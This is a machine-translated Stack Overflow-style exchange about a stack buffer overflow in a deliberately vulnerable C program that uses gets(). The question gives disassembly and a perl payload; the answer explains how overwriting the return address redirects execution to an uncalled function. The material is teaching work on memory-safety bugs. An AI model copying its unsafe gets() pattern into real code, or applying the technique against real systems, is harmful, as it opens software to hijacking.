[英]Trouble replicating a stack buffer overflow exploit
我在這里復制OWASP給出的堆棧緩沖區溢出示例時遇到問題。
這是我的嘗試:
$ cat test.c
#include <stdio.h>
#include <string.h>
void doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
$ gcc test.c -o test -fno-stack-protection -ggdb
$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
40054c: 55 push %rbp
40054d: 48 89 e5 mov %rsp,%rbp
400550: 48 83 ec 10 sub $0x10,%rsp
400554: 48 8d 45 f0 lea -0x10(%rbp),%rax
400558: 48 89 c7 mov %rax,%rdi
40055b: e8 d0 fe ff ff callq 400430 <gets@plt>
400560: 48 8d 45 f0 lea -0x10(%rbp),%rax
400564: 48 89 c7 mov %rax,%rdi
400567: e8 a4 fe ff ff callq 400410 <puts@plt>
40056c: c9 leaveq
40056d: c3 retq
000000000040056e <main>:
40056e: 55 push %rbp
40056f: 48 89 e5 mov %rsp,%rbp
400572: bf 4c 06 40 00 mov $0x40064c,%edi
400577: e8 94 fe ff ff callq 400410 <puts@plt>
40057c: e8 cb ff ff ff callq 40054c <doit>
400581: bf 5d 06 40 00 mov $0x40065d,%edi
400586: e8 85 fe ff ff callq 400410 <puts@plt>
40058b: b8 00 00 00 00 mov $0x0,%eax
400590: 5d pop %rbp
400591: c3 retq # this is where i took my overflow value from
400592: 90 nop
400593: 90 nop
400594: 90 nop
400595: 90 nop
400596: 90 nop
400597: 90 nop
400598: 90 nop
400599: 90 nop
40059a: 90 nop
40059b: 90 nop
40059c: 90 nop
40059d: 90 nop
40059e: 90 nop
40059f: 90 nop
$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted
為什么這不起作用? 我假設應該插入的內存地址是<main>
的retq
。
我的目標是弄清楚如何執行程序在其他地方調用函數的堆棧緩沖區溢出。 任何幫助深表感謝。 :)
我正在使用Windows和MSVC,但您應該明白這一點。
考慮以下代碼:
#include <stdio.h>
void someFunc()
{
puts("wow, we should never get here :|");
}
// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
(注意:我必須使用/OPT:NOREF
進行編譯,以強制MSVC不要刪除“未使用的”代碼,並強制使用/GS-
關閉堆棧檢查)
現在,讓我們在我最喜歡的反匯編程序中打開它:
我們想利用gets
漏洞,使執行跳至someFunc
。 我們可以看到它的地址是001D1000
,因此,如果我們可以在緩沖區后寫入足夠的字節以覆蓋返回地址,那將會很好。 讓我們看一下調用gets
時的堆棧:
如我們所見,堆棧分配緩沖區( buf
)有8個字節,一些東西(實際上是PUSH
ed EBP)有4個字節,還有返回地址。 因此,我們需要寫入12個字節的內容,然后寫入4個字節的返回地址( 001D1000
)以“劫持”執行流程。 讓我們開始吧-我們將使用十六進制編輯器准備一個包含所需字節的輸入文件:
確實,當我們使用該輸入運行程序時,我們得到了:
打印該行后,由於堆棧上有一些垃圾,它將因訪問沖突而崩潰。 但是,沒有什么可以阻止您仔細分析代碼並准備輸入內容中的字節,以使程序看起來可以正常運行(我們可以使用ExitProcess
的地址覆蓋下一個字節,以便someFunc
跳到那里)。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.